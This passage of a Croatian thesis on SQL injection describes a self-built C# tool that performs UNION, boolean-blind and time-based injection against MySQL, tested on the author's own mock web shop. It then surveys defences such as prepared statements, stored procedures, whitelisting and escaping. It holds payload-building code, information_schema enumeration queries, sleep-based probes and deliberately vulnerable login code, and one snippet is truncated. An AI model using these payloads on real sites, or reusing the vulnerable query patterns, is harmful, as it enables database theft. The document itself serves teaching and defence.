poslanih zahtjeva (engl. request)
tijekom izvođenja napada te tekstualni prostor (eng. text area) za odgovor (engl. response)
koji se prikazuje na odabir zahtjeva. Prikaz je moguće vidjeti na Slika 5.1.
Odabirom učitavanja baze podataka iz datoteke otvara se drugi prozor,
stablasti prikaz baze podataka.
Slika 5.1 Glavni prozor
Prozor za prikaz baze podatka
Prozor sadržava stablasti prikaz
baze podataka. Odabirom određene tablice prikazuju se njeni podaci u
tablici desno od stablastog prikaza (Slika 5.2).
Slika 5.2 Prozor za prikaz baze podataka
Razvijena aplikacija je WPF aplikacija napisana u jeziku C# s jednostavnim grafičkim
sučeljem. Za rad aplikacije korišteni su neki od osnovnih testova za
standardno ispitivanje otpornosti sustava na umetanje programskog koda SQL
(opisani u poglavlju 3.2),
iskorištavanje poruka pogrešaka koje vraća sustav za upravljanje bazama
podataka te su implementirane tri tehnike napada koje spadaju u klasu Inband (podaci se dohvaćaju korištenjem istog kanala kao i
za umetanje programskog koda SQL), a to su napad temeljen na operatoru
UNION, napad temeljen na BOOLEAN izrazima te napad temeljen na vremenskoj
zadršci. Za slanje i primanje odgovora korištena je klasa HttpClient i za izvoz
baze podataka klasa JsonConvert.
Jedan od početnih koraka izvođenja napada je jedan od osnovnih
testova, dodavanje jednostrukog navodnika ili znaka zarez što proizvodi
pogrešku te ako je pogreška sadržaja „Query failed1: You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use…“
saznajemo da se radi o sustavu za upravljanje bazama podataka
MySQL što je važna informacija u procesu ispitivanja tj. izvođenja napada.
Također je i nužna jer implementirani alat može izvršavati napade nad
MySQL bazama podataka.
Tablica
4 Neki od upita korištenih pri prikupljanju informacija [22]
Version |
SELECT @@version |
Comments |
SELECT 1; #comment |
Current User |
SELECT user(); |
Current Database |
SELECT database() |
List Databases |
SELECT schema_name FROM information_schema.schemata; — for
MySQL >= v5.0 |
List Tables |
SELECT table_schema,table_name FROM
information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema !=
‘information_schema’ |
If Statement |
SELECT if(1=1,’foo’,'bar’); |
Tablica
5 Korisne operacije nad znakovnim nizovima u sustavu MySQL
[21]
Vraća
konkatenirani znakovni niz |
|
Vraća
konkatenirani znakovni niz vezan spojnikom |
Svi zahtjevi slani su korištenjem klase HttpClient [25] za slanje HTTP
zahtjeva i primanje HTTP odgovora od resursa koji je identificiran URI-jem.
public static async Task<string>
GetResponseContent(string url) {
using (var client = new HttpClient()) {
// Get response
var response = await client.GetAsync(url);
// Transform response to string
var responseString = await response.Content.ReadAsStringAsync();
// Return response as string
return responseString; } } |
Primjer koda 5.1 Uporaba klase HttpClient
Teorija
implementiranih tehnika opisana je u poglavljima 3.5.1, 3.5.2 i 3.5.5.
Napad temeljen na operatoru UNION
Kako sam naziv
tehnike napada kaže upotrebljava se operator UNION.
Primjer SQL upita za bazu podataka MySQL za dohvaćanje liste schemi je
prikazan u Primjer koda 5.2. Budući
da operator UNION spaja rezultate više upita određeni separatori
okružuju i odijeljuju dohvaćene podatke.
public static string
GetSchemaListUnion(string outerSeparator, string hexaSeparatorMid, string
hexaSeparatorEnd) {
return "concat(" +
CommonMethods.StringToHexa(outerSeparator) + "," +
"(" + "select+" + "group_concat("
+ "s," + hexaSeparatorMid +
"," +
"cast(t+as+char)" +
"+order+by+s+" +
"separator+'" + hexaSeparatorEnd + "'" + ")" + "from(" +
"select+" +
"cast(TABLE_SCHEMA+as+char)s," +
"count(TABLE_NAME)t+" + "from+" +
"INFORMATION_SCHEMA.tables+" + "group+by+s" +
")x"
+ ")" + "," +
CommonMethods.StringToHexa(outerSeparator) +
")"; } |
Primjer koda 5.2 Dohvaćanje liste schemi
Napad temeljen na BOOLEAN izrazima
Napad temeljen
na BOOLEAN izrazima je tehnika grubom silom (engl. brute-force) kojom se provjereva
istinitost niza izraza, primjerice je li prvo slovo naziva tablice slovo 'a'.
Ako je, traži se sljedeće slovo, ako nije provjerava se za slovo 'b' i
tako redom. Pritom je potrebno paziti na
kraj riječi budući
da korištena ASCII funkcija vraća null vrijednost u dva slučaja. Kada
uspoređujemo znak s ASCII kodom 0 (vrijednost null) vraća se true ili kada smo pretražili cijeli niz
znakova ili smo analizirali null znak.
public static string
GetIthLetterOfNthTableSchemaBlind(int N, int i) {
return "+and+ascii(substring((" +
"select+distinct+table_schema+from+information_schema.tables+limit+"
} |
Primjer
koda 5.3 Traženje i-tog znaka n-te scheme
Kada se rezultat navedenog
programskog odsječka konkatenira na početni URL rezultat upita koji
se izvrši je istina ili laž, što odlučuje implementirana komponenta
Comparator. Prilikom inicijalizacije instance klase Comparator najprije se
postavlja referentni uvijek-istinit i
uvijek-lažan odgovor.
Postoje
4 razine odlučivanja, navedenim redosljedom:
·
Usporedba
statusnih kodova
·
Usporedba
zaglavlja (engl. headers)
·
Usporedba
sadržaja
HTML odgovora
·
Usporedba filtriranog sadržaja HTML odgovora
(sadržaj bez poveznica i varijabilnih
dijelova poput datuma i vremena)
Napad temeljen na vremenskoj zadršci
Ova tehnika
napada temelji se na funkciji sleep({numberOfSleepingSeconds}). Prvo se provjerava pokazuju li
se uvijek istiniti uvjeti istinitima, a lažni lažnima.
Istiniti uvjeti:
"true=true",
"false=false", "true%21=false", "1=1",
"2=2", "1%21=2"
Lažni uvjeti: "true=false",
"true%21=true", "false%21=false", "1=2",
"1%21=1", "2%21=2"
Ako su rezultati ispravni
nastavlja se izvođenje tehnike. If naredba
za sustav MySQL [23] je oblika
IF
(condition, true, false)
pa
je provjera je li verzija MySQL baze podataka verzije 5.1.x. sljedeća:
if
(version() like ‘5.1%’, sleep(5), 1)
Trajanje do
primitka odgovara mjeri se štopericom klase Stopwatch [26] i ako je trajanje
takvo da je uključeno “spavanje” od definiranog broja sekundi, verzija
MySQL baze podataka je pronađena.
Budući da
se koristi funkcija sleep() kojom se gubi puno vremena na čekanje,
ova tehnika smatra se manje efikasnom te je implementirano samo dohvaćanje
verzije baze podataka jer bi dohvaćanje svih podataka bilo kojom
implementacijom trajalo predugo.
Automatski odabir tehnike napada
Tehnike napada izvode
se prema efikasnosti pri čemu se u obzir uzima trajanje napada i
količina dohvaćenih podataka. Najbrži je napad temeljen na operatoru
UNION, zatim napad temeljen na BOOLEAN izrazima i na kraju napad temeljen na vremenskoj
zadršci. Ako prva tehnika napada nije moguća ili je njenom uporabom uspješno
dohvaćen samo dio podataka nastavlja se druga tehnika i analogno treća.
Izvoz baze
podataka implementiran je uporabom klase JsonConvert [27] klase (namespace Newtonsoft.Json) za
serijalizaciju baze podataka (vlastita klasa Database) u json datoteku.
var sw = new
StreamWriter(DataFiles.DatabaseJSON); sw.Write(JsonConvert.SerializeObject(database)); sw.Flush(); sw.Close(); |
Primjer
koda 5.4 Izvoz baze podataka
Pokretanjem aplikacije pojavljuje se glavni prozor prikazan na Slika 5.1. Unosom
ili kopiranjem URL-a u prazno polje ‘Url’ te klikom na gumb ‘Start’ započinje se napad.
Automatski je odabrana najefikasnija tehnika napada te izvoz baze podataka,
koji je opcionalan. Aplikacija testira povezanost na Internet, provjerava
ispravnost formata unesenog URL-a te provjerava radi li se o sustavu za
upravljanje bazama podataka MySQL budući da je to nužan preduvjet za
izvršavanje napada.
Uspješan napad
Uspješno izvršen
napad umetanjem programskog koda SQL prepoznaje se po otvorenom prozoru prikaza
baze podataka (Slika 5.2) u
kojem struktura baze i/ili
tablični prikaz nisu prazni te po poruci sadržaja ‘Završetak napada’ u prostoru za prikaz odrađenih
faza napada. Scenarij uspješno izvedenog napada prikazan je na Slika 5.3.
Slika 5.3 Prikaz uspješno izvedenog napada umetanjem SQL koda
U slučaju izvođenja napada
temeljenog na BOOLEAN izazima napad se izvršava do razine atributa tablica.
Klikom na prikaz podataka za određenu tablicu javlja se poruka prikazana
na Slika 5.4. Klikom na gumb ‘OK’ izvodi se
zadnja faza napada, dohvaćanje redaka tablice, te prikazuje
u tabličnom prikazu.
Slika 5.4 Naknadno izvođenje dohvaćanja redaka u
slučaju napada temeljenog na BOOLEAN izrazima
Neuspješan napad
Neuspješno
izvršen napad umetanjem programskog koda SQL prepoznaje se po pojavljenom
prozoru s porukom ‘Napad
umetanjem SQL koda nije uspio.’, u prozoru za prikaz odrađenih faza
piše da odabrana tehnika napada nije uspjela te se u tablici sa zahtjevima
nalazi zahtjev sa statusom ‘NE‘
(Slika 5.5).
Slika 5.5 Prikaz neuspješno izvedenog napada umetanjem SQL koda
Pregled informacija o poslanim zahtjevima i primljenim odgovorima
Bez obzira na
uspješnost napada moguće je vidjeti ispis svih zahtjeva koji su poslani
tijekom izvođenja napada. Dvoklikom na pojedini zahtjev iz tablice u
tekstualnom polju ispod tablice zahtjeva prikazuje se HTML odgovor. Tablica i
odgovarajuće polje prikazani su na Slika 5.6.
Slika 5.6 Pregled informacija o poslanim zahtjevima i primljenim
odgovorima
Učitavanje baze podataka
Uz izvršavanje
odabrane tehnike napada moguće je alat koristiti i samo za prikaz baze
podataka. Potrebno je učitati json datoteku, koja je nastala prethodnim
izvođenjem napada te izvozom, tako što se klikne gumb ‘Odaberi’, zatim na disku odabere
odgovarajuća datoteka i klikne gumb ‘Učitaj’. Uspješnim učitavanjem otvara
se prozor prikazan na Slika 5.2., a proces učitavanja
baze podataka prikazan je na Slika 5.7.
Slika 5.7 Prikaz učitavanja baze podataka iz datoteke
Nevaljali URL
Valjanost URL-a
provjerava se uporabom regularnih izraza te se u slučaju nevaljalog URL-a
dojavljuje informativna poruka prikazana Slika 5.8.
Slika 5.8 Prikaz poruke o nevaljalom URL-u
Neodgovarajuća baza podataka
Implementirani
sustav ima mogućnosti izvođenja napada nad bazama podataka MySQL
stoga treba provjeriti odgovara li korištena baza podataka te u slučaju da
ne javlja se informativna poruka prikazana na Slika 5.9.
Slika 5.9 Prikaz poruke o neodgovarajućoj bazi podataka
Nema veze na Internet
U slučaju
da računalo nema vezu na Internet javlja se poruka prikazana na Slika 5.10.
Slika 5.10 Prikaz poruke u slučaju da nema veze na Internet
Testno okruženje čini osnovna web-stranica napisana u programskom
jeziku PHP te baza podataka MySQL. Stranica simulira online web shop i bazu podataka čine podaci o proizvodima i
kategorijama proizvoda, korisnicima i njihovim profilima te karticama, narudžbama
i zaposlenicima. Model baze podataka prikazan je na dijagramu prikazanom na Slika 5.11.
Slika 5.11 Klasni dijagram MySQL baze podataka
Web-stranica
služi samo kako bi se mogao pokušati izvršiti napad stoga prikazuje samo
proizvode (Slika 5.12) i
njihove detalje (Slika 5.13).
Slika 5.12 Prikaz podataka o proizvodima
Slika 5.13 Prikaz podataka o detaljima pojedinog proizvoda
Na računalu s operativnim sustavom Windows 10 i
procesorom specifikacija Intel Core i7-7500 CPU, 2.70 GHz, 2 jezgre i 4
logička procesora trajanja izvedbi napada, nad bazom podataka koja sadrži 4
sheme, 12 tablica i 50 atributa, prikazana su u Tablica 6.
Tablica 6 Vremena trajanja izvođenja napada
Tehnika napada |
Trajanje (min) |
Napad temeljen na operatoru UNION |
0.05 |
Napad temeljen na BOOLEAN izrazima |
4.84 |
Napad temeljen na vremenskoj zadršci* |
0.12 |
* Vidno manji obujam
dohvaćanih podataka
Postoji mnogo tipova umetanja koda od kojih su najpoznatiji spomenuti u
poglavlju 2.1.
Tehnike za obranu od umetanja koda mogle bi se sumirati i opisati kao upotrebljavanje
sigurnih ulaza i izlaza. Upravljanje ulazom (eng. input) je način na koji aplikacija ili poslužitelj upravlja unosom korisnika ili
dobivenih podataka putem mreže, dok je upravljanje izlazom (engl. output) način na koji aplikacija, poslužitelj
ili sustav upravljaju izlazom čime se smatra npr. generiranje HTML-a,
ispisivanje, zapisivanje detaljnih informacija (engl. logging) [29].
Upotreba sigurnih ulaza i izlaza
podrazumijeva sljedeće [28]:
·
Upotrebu API-ja
(engl. application programming interface)
koji je siguran za bilo koje ulaze ako se pravilno koristi, primjerice upotreba
PDO-a (engl. PHP Data Objects) za pripremljene naredbe (više u poglavlju 7.1.1)
·
Validaciju – osiguravanje da su podaci
sigurni za korištenje
-
Bijela lista (engl. whitelist) – definiranje dozvoljenih unosa
-
Crna lista (engl. blacklist) – definiranje zabranjenih unosa
·
U slučaju neočekivanih ili
nevaljalih unosa prekid izvođenja, te pritom obraćanje pažnje da se
time ne stvori mogućnost za izvođenje DoS (engl. Denial of Service) napada
·
Pročišćivanje i formatiranje
podataka – bolji pristup od prekida izvođenja no podrazumijeva vremenski
zahtjevniju implementaciju; postoji mogućnost korupcije podataka sto vodi
do neočekivanog ponašanja
·
Escaping –
mijenjanje tj. kodiranje potencijalno opasnih znakova u sigurne
-
Primjer: prilikom generiranja HTML-a <script> se
kodira u <script>
-
Kodiranje ulaza – npr. u programskom
jeziku PHP koristi se funkcija htmlspecialchars() koja
pretvara HTML tagove u ISO ekvivalent
-
Kodiranje izlaza – npr. radi sprječavanja
XSS napada (engl. cross-site scripting);
važno jer izlaz često sadržava korisnikov unos
Napadi umetanjem programskog koda SQL vrlo su česti i uspješni, a
zapravo ih je vrlo lako izbjeći. Problemi nastaju jer se miješaju
programski kod i podaci. Općenit savjet je izbjegavanje pisanja dinamičkih
upita (ako je moguće u potpunosti) te validiranje korisničkog unosa.
U osnovne tehnike obrane od umetanja programskog koda SQL spadaju
pripremljene naredbe, pohranjene procedure, validacija korisničkog unosa i
escaping [30].
Pripremljene naredbe (engl. prepared
statements) direktno rješavaju problem miješanja koda i podataka te ih je
jednostavno za pisati i lako za razumjeti. Osnovna ideja pripremljenih naredbi
je odvojeno slanje upita i podataka na poslužitelj i osnovno pravilo je da
svaki dinamički element ulazi u upit preko zamjenskih znakova (engl. placeholder). Programer je prisiljen
definirati SQL kod i predati svaki parametar upitu tek naknadno te je time
osiguran da napadač ne promijeni namjeru upita iako je zlonamjeran kod
umetnut. Upiti umjesto parametara sadržavaju zamjenske znakove
najčešće u obliku znaka upitnika. Navedeni koncept omogućava da
se iste naredbe mogu izvršavati više puta s visokim performansama.
Sastoje od 3
koraka [31]:
1. Priprema
(engl. prepare)
$db->prepare(„INSERT
INTO PRODUCT (name, price) VALUES (?, ?)“);
2. Sustav
za upravljanje bazama podataka analizira, prevodi i izvodi optimizaciju upita
te pohranjuje rezultat optimizacije bez izvođenja
3. Izvršavanje
(engl. execute) – nakon što
aplikacija preda i poveže parametre SUBP izvršava upit
$db->execute($data);
Prednosti
-
Prevođenje i optimiziranje se odvija
samo jednom, dok se izvršavanje odvija više puta
-
Obavlja se kompletno formatiranje (dok
god se koristi odgovarajući tip podatka) bez uplitanja programera i to u
pravom trenutku, prije izvršavanja upita
-
Otpornost napadima umetanja programskog
koda SQL
Nedostaci
-
Podržavaju samo dvije grupe tipova
podatka – znakovne nizove i brojeve, sto često nije dovoljno
-
Ako je upit izveden samo jednom, uporaba
pripremljenih naredbi sporija je zbog dodatnog puta prema poslužitelju.
Također brzina ovisi o pojedinoj implementaciji (npr. neke verzije MySQL-a
nisu pohranjivale rezultate optimizacije pripremljenih naredbi)
-
Ponekad uporabom pripremljenih naredbi
mogu biti narušene performanse te je u tom slučaju potrebno koristiti snažnu
validaciju i escapeing svog
korisničkog unosa
Kada je zbog
kompleksnosti strukture neophodna uporaba dinamičkih upita kao rješenje
ostaje pažljivo formatiranje ili vlastita implementacija zamjenskih znakova za
potrebne kompleksnije tipove, primjerice lista integera, lista stringova
itd. Primjer postojećeg rješenja moguće je vidjeti na safemysql.
Primjeri
String custname =
request.getParameter("customerName"); // This should REALLY be
validated too // Perform input validation to detect
attacks String query = "SELECT
account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt =
connection.prepareStatement(query); pstmt.setString(1, custname); ResultSet results = pstmt.executeQuery(); |
Primjer
koda 7.1 Pripremljene naredbe (Java) [32]
java.sql.PreparedStatement stmt =
connection.prepareStatement( "SELECT * FROM users WHERE
USERNAME = ? AND ROOM = ?"); stmt.setString(1, username); stmt.setInt(2, roomNumber); stmt.executeQuery(); |
Primjer
koda 7.2 Pripremljene naredbe (Java JDBC) [31]
Napomena: Java PreparedStatement
sadrži tzv. settere za većinu
ugrađenih tipova podataka (npr. setString(String), setDouble(double))
String query = "SELECT account_balance FROM user_data
WHERE user_name = ?"; OleDbCommand command = new
OleDbCommand(query, connection); command.Parameters.Add(new
OleDbParameter("customerName", CustomerName Name.Text)); OleDbDataReader reader = command.ExecuteReader(); |
Primjer
koda 7.3 Pripremljene naredbe (.NET C#) [32]
$stmt =
$dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name,
:value)"); $stmt->bindParam(':name',
$name); $stmt->bindParam(':value', $value); |
Primjer
koda 7.4 Pripremljene naredbe (PHP - PDO) [32]
$stmt = $dbh->prepare("SELECT
* FROM users WHERE USERNAME = ? AND PASSWORD = ?"); $stmt->execute(array($username, $pass)); |
Primjer
koda 7.5 Pripremljene naredbe (PHP - PDO) [31]
$stmt = $dbh->prepare("SELECT
* FROM users WHERE USERNAME=:username AND PASSWORD=:pass"); $stmt->execute(array('username' => $username, 'pass' => $pass)); |
Primjer
koda 7.6 Pripremljene naredbe (PHP - PDO) [31]
Pohranjena procedura (engl. stored procedure) je grupa SQL naredbi koja je kreirana i
pohranjena u bazi podataka (u odnosu na pripremljene naredbe) i pozivana iz
aplikacije. Pohranjene procedure izvršavaju se unutar sustava za upravljanje
bazama podataka koji ima direktan pristup podacima pa se tako smanjuje promet,
izbjegnuti su komunikacijski troškovi i povećavaju se performanse što
postaje značajno kod kompleksnih SQL naredbi [33].
Prednosti
-
Enkapsulacija poslovne logike – nalazi
se na jednom mjestu i smanjena je vjerojatnost da klijentski program korumpira
podatke
-
Ako se pohranjena procedura promijeni svi
klijenti dobivaju ažurnu verziju
-
Izbjegnuto je prevođenje pri svakom
pozivu
-
U mnogim sustavima pohranjene procedure
imaju privilegije koje sami korisnici koji pozivaju te pohranjene procedure
nemaju direktno
Nedostaci
-
Jezici kojima se pišu pohranjene procedure
su često vendor-specific pa se
mijenjanjem pružatelja usluga (engl. vendor)
uglavnom sve pohranjene procedure trebaju nanovo pisati
-
Alati za pisanje i traženje pogrešaka (engl. debugging) nisu toliko napredni kao za
ostale programske jezike
-
Postoje situacije u kojima pohranjene procedure
povećavaju rizik od umetanja programskog koda SQL, npr. na poslužitelju MS
SQL potrebne su minimalno 3 predefinirane uloge (engl. role)- db_datareader, db_datawriter i db_owner. Problem je što pohranjene procedure zahtijevaju ovlasti za izvršavanje, a to prema predefiniranim postavkama nije
zadano navedenim ulogama. Kada je upravljanje korisnicima centralizirano i limitirano na spomenute tri uloge, slijedi to
da se sve web-aplikacije izvode s db_owner ovlastima kako bi se pohranjene
procedure mogle izvoditi. To znači da ako napadač dođe do poslužitelja
umjesto ovlasti za čitanje (engl. read
access) ima puna prava nad bazom
podataka.
Pohranjene
procedure mogu se upotrebljavati kao tehnika obrane od SQL injectiona. Nisu
sigurna obrana, ali kad su pravilno napisane imaju isti efekt kao pripremljene
naredbe. Moguće je nepravilno napisati pohranjenu proceduru ako je
uključeno dinamičko generiranje SQL koda, što treba izbjegavati ako
je moguće (u protivnom treba snažno validirati korisnički unos i
napraviti odgovarajući escaping).
Zbog jednostavnog sučelja i implementacija na klijentskoj strani,
pripremljene naredbe korištene su češće u odnosu na pohranjene
procedure.
Primjeri
String custname =
request.getParameter("customerName"); // This should be validated CallableStatement cs =
connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); |
Primjer
koda 7.7 Pohranjena procedura (Java) [30]
Napomena: Primjer programskog
koda koristi CallableStatement, Java implementaciju sučelja za pohranjene
procedure
Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance",
connection) command.CommandType = CommandType.StoredProcedure command.Parameters.Add(new
SqlParameter("@CustomerName", CustomerName.Text)) Dim reader As SqlDataReader =
command.ExecuteReader() |
Primjer
koda 7.8 Pohranjena procedura (.NET VB) [32]
Napomena: Primjer programskog
koda koristi SqlCommand, .NET implementaciju sučelja za pohranjene
procedure
PROCEDURE SafeGetBalanceQuery(UserID varchar, Dept
varchar) AS BEGIN SELECT balance
FROM accounts_table WHERE user_ID = UserID AND department = Dept; END; |
Primjer
koda 7.9 Pohranjena procedura (Oracle - PL/SQL) [32]
PROCEDURE SafeGetBalanceQuery(@UserID varchar(20), @Dept
varchar(10)) AS BEGIN SELECT balance
FROM accounts_table WHERE user_ID = @UserID AND department = @Dept END |
Primjer
koda 7.10 Pohranjena procedura (SQL Server-Transact-SQL) [32]
Određeni dijelovi SQL upita, poput naziva tablica ili atributa i
poretka sortiranja, ne mogu biti parametrizirani, budući da su dio
strukture upita. Ako je neophodno koristiti korisnički unos u nekom obliku
potrebno je te vrijednosti mapirati u očekivane nazive tablica i atributa.
Ta tehnika obrane naziva se bijela lista (engl. whitelist). Suprotna logika, mapiranje zabranjenih vrijednosti,
koristi se u tzv. crnim listama (engl. blacklist).
Češće se koriste, i češće su praktičnije i bolje,
bijele liste.
String tableName; switch(PARAM):
case "Value1": tableName = "fooTable"; break;
case "Value2":
tableName = "barTable"; break;
...
default: throw new InputValidationException("Unexpected value
provided for table name"); |
Primjer koda 7.11 Validacija naziva tablica
bijelom listom [30]
Što se tiče poretka
sortiranja, najbolja praksa je pretvoriti korisnički unos u boolean, što se
vidi u Primjer koda 5.1.
public String someMethod(boolean sortOrder)
{
String SQLquery = "some SQL... order by Salary" + (sortOrder
? "ASC" : "DESC"); ... } |
Primjer koda 7.12 Validacija poretka sortiranja bijelom listom [30]
Za svaku bazu podataka koja se koristi postoje znakovi s posebnim
značenjem i ponekad je potrebno reći bazi podataka da znakove u
određenom upitu ne tretira kao da su posebni. Primjer je znakovni niz koji
unutar sebe sadrži navodnike “Hello “World““. Prevoditelj ne bi znao gdje je
kraj znakovnog niza jer postoji dvoznačnost te bi to prouzročilo
pogrešku. Escaping znakova znači
uklanjanje dvoznačnosti uzrokovane uporabom specijalnih znakova kao
običnih tj. u okruženju u kojem ih je potrebno tretirati kao obične.
Implementacija je vrlo specifična ovisno o kojoj bazi podataka se radi.
Ova tehnika treba
se koristiti kao posljednja i najmanje efikasna. Ideja je obraditi svaki
korisnički unos prije nego što se ubaci u upit. Radi se samo kada je
validacija korisničkog unosa preskupa i kada se koristi nasljeđeni
(engl. legacy) kod. U protivnom je
bolje nanovo napisati aplikaciju koristeći pripremljene naredbe i
pohranjene procedure.
U naredbama za pretraživanje teksta
uz ključnu riječ LIKE koriste se određeni zamjenski znakovi
(engl. wildcard character) koji mogu
uzrokovati probleme. Npr. u bazi podataka Oracle znak postotka znači 0 ili
više ponavljanja bilo kojeg znaka i znak donje povlake znači pojavljivanje
samo jednog znaka [30].
Primjer: escaping zamjenskih znakova u LIKE dijelovima upita [30]
SELECT name FROM emp
WHERE id LIKE '%\%%' ESCAPE '\';
Primjer escapinga za bazu Oracle 10g
je da se oko znakovnog niza stave vitičaste zagrade ‘{}’ kako bi se uklonila
potencijalna dvoznačnost u cijelom znakovnom nizu. Potreban je oprez ako znak
zatvorene vitičaste zagrade ‘}’ već postoji u znakovnom nizu te ako da potrebno ga je zamijeniti
s ‘}}’ [30].
MySQL podržava dva načina escapinga [30]
1. ANSI_QUOTES SQL način –
zamjenjuje sve jednostruke navodnike dvostrukima
2. MySQL način – dodaje obrnutu
kosu crtu (engl. backslash) prije
svih posebnih znakova
MySQL načina escapinga
za neke posebne znakove:
TAB (0x09) --> \t
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
Kodiranje prebacivanjem u heksadekadski
sustav
Poseban
slučaj escapinga je kodiranje cijelog
znakovnog niza koji je dobiven od korisnika u heksadekadski sustav (engl. hex-encoding) tj. escaping svakog znaka.
Primjer: Kodiranje prebacivanjem
u heksadekadski sustav [30]
SELECT ... FROM session
WHERE hex_encode (sessionID) =
'616263313233'
Ako napadač
pokuša umetnuti jednostruki navodnik u pokušaju izvođenja napada umetanjem
programskog koda SQL, WHERE dio upita izgledao bi ovako
WHERE hex_encode ( ... )
= '2720 ... '
te se u upitu tako
ne pojavljuje niti jedan znak, poput jednostrukog navodnika, koji bi
omogućio napad umetanjem SQL koda jer su svi znakovi predstavljeni heksadekadski
ekvivalentima [30].
OWASP ESAPI je
biblioteka otvorenog koda za kontrolu sigurnosti web-aplikacija koja pomaže programerima
da manje brinu o sigurnosti i pišu sigurnije aplikacije tako da “ugrade“
sigurnost koje do sada nije bilo. Za svaki programski jezik postoji skup
sučelja za kontrolu sigurnosti koji primjerice definiraju tipove
parametara koji se mogu predati. Za sve kontrole sigurnosti postoji
određena referentna implementacija (npr. validacija znakovnog niza), no
moguće je za svaku kontrolu jednostavno koristiti vlastitu implementaciju
(npr. autentifikacija) [38]. U Primjer koda 7.13. moguće
je vidjeti kako izgleda dinamički upit bez uporabe ESAPI kodera, a u Primjer koda 7.14. kako
izgleda s uporabom.
String query =
"SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID")
+ "' and user_password = '" + req.getParameter("pwd")
+"'"; Statement statement =
connection.createStatement( … ); ResultSet results = statement.executeQuery( query ); |
Primjer koda 7.13 Dinamički upit bez korištenja ESAPI kodera (Oracle)
[30]
Codec ORACLE_CODEC = new
OracleCodec(); String query =
"SELECT user_id FROM user_data WHERE user_name = '" +
ESAPI.encoder().encodeForSQL(ORACLE_CODEC,
req.getParameter("userID")) + "'
and user_password = '" + ESAPI.encoder().encodeForSQL( ORACLE_CODEC,
req.getParameter("pwd")) +"'"; |
Primjer koda 7.14 Dinamički upit korištenjem ESAPI kodera (Oracle) [30]
Tehnika davanja minimalnih privilegija više je mjera opreza kojom se
potiče smanjenje privilegija za korisničke račune na minimum, a
savjeti su sljedeći [30]:
·
Ne dodjeljivati administratorska prava
korisničkim računima
·
Dodijeliti prava samo na tablice koje
određeni račun koristi i ako se koriste pohranjene procedure samo na
one procedure koje određeni račun koristi, bez tablica
·
Ako se koristi samo dio tablice ili
rezultati join-ova tablica treba napraviti poglede (engl. view) te dodijeliti prava samo na njih.
Ako se npr. iz nepoznatog razloga u bazu spremaju korisničke lozinke dobro je
napraviti pogled koji vraća samo hasheve
lozinki pa u slučaju da napadač dođe do pogleda, doći
će samo do hasheva, a ne i
pravih lozinki budući da nijedan korisnik baze podataka nema ovlasti nad tablicom
u kojoj su pohranjene lozinke već samo na poglede
·
Minimizirati privilegije računa operativnog sustava na
kojem je pokrenut sustav za upravljanje bazama podataka i ne ga pokretati kao korisnik root ili system. Npr. za sustav MySQL zadane
postavke su da se na operativnom sustavu Windows pokreće kao system, što je opasno
Element programskog jezika PHP nazvan Magic quotes uveden je kako bi se programerima
olakšalo pisanje SQL naredbi tako što ne bi morali paziti na specijalne znakove
jer su se navedenom značajkom automatski dodavali prefiksi (u obliku
obrnute kose crte) specijalnim znakovima kako bi se izbjegla moguća
dvoznačnost i spriječile sintaksne pogreške.
// User and password come from a simple POST’ed form $user = $_POST[‘user’]; $password = $_POST[‘password’]; $query = “SELECT name, age, credit_card FROM usertable WHERE username = ‘$user’ AND password = ‘$password’ “; $result = mysql_query($query); // Check if mysql found anything, and get the record if it did if (mysql_num_rows($result) > 0) { $data =
mysql_fetch_assoc($result); echo ‘Hello
‘.$user.’!’; echo ‘Your credit
card number is ‘.$data[‘credit_card’].”; } else { echo ‘Incorrect
Username or Password! Go Away!’; } |
Primjer
koda 7.15 Prijava korisnika (PHP) [34]
Programski
odsječak pokazuje tipičan PHP kod za prijavljivanje korisnika. Problem
nastaje kada postoje određeni znakovi, npr. jednostruki navodnik, u imenu
osobe poput Peter O'Reilly za kojeg možemo
pretpostaviti kako bi htio koristiti korisničko ime PeterO'Reilly. MySQL
prepoznaje korisničko ime kao 'PeterO', no ne zna što bi s ostatkom te
javlja sintaksnu pogrešku [34].
Pokušaj rješavanja
ovog problema je escaping koji je
postojao pod nazivom Magic quotes. Pokušaj, i postojao, zato što je u verziji
PHP 5.3.0. označen nepoželjnim, a s verzijom PHP 5.4.0. u potpunosti
izbačen. Ako je značajka (engl. feature)
Magic quotes uključena ona automatski kodira znakove jednostrukih i dvostrukih navodnika te obrnute kose crte
tako što ispred svakog znaka doda obrnutu kosu crtu u svim podacima koji su
došli u aplikaciju putem protokola HTTP. Samim time što postavka može biti
uključena, isključena ili neprisutna u određenoj verziji, kod
nije prenosiv.
Drugi pokušaj
rješavanja može biti korištenje funkcije addslashes() koja bi ručno dodavala znak obrnute
kose crte ispred određenih znakova. Ako programer sam brine o specijalnim
znakovima i ne postoji provjera je li postavka uključena moguć je
sljedeći scenarij pod nazivom The magic breeding slashed quote [34].
Događa se sljedeće:
1. Korisnikov unos: O’Reilly
2. Magic quotes: O\’Reilly
3. addslashes(): O\\\’Reilly
4. Rezultat MySQL-a: O\’Reilly
Rezultat je da je u bazu
pohranjeno O\’Reilly
kada je zapravo željeno O’Reilly, što ujedno znači da se prilikom prikaza
podataka iz baze mora još pozvati funkcija stripslashes().
S razlogom je
opisana značajka izbačena iz jezika. Pohranjeni podaci mogu biti
zagađeni nečime što korisnik nije unio te postoji velika ovisnost o
tome je li neka postavka uključena ili ne. Ova (loša) tehnika opisana je u
radu jer još uvijek postoji mnoštvo (zastarjelog) sadržaja na Internetu koji
preporučuje njeno korištenje te kako bi se jasnije vidjela razlika
između lošijih i boljih tehnika.
Malo bolja verzija escapinga je uporaba MySQL biblioteke mysql_* functions i
postojeće funkcije mysql_real_escape_string() koja uzima u obzir skup znakova
(engl. character set) konekcije na
bazu podataka. Potrebna je aktivna konekcija prema bazi, a u protivnom dolazi
do pogreške.
// Remove the pesky slashes from magic quotes if it’s
turned on function clean_string($value, $DB) { if
(get_magic_quotes_gpc()) { $value =
stripslashes($value); } // Escape things
properly return mysql_real_escape_string($value,
$DB); } $string = “O’Reilly”; // Where $db is your active database connection resource
id. $safe_string = clean_string($string,
$db); |
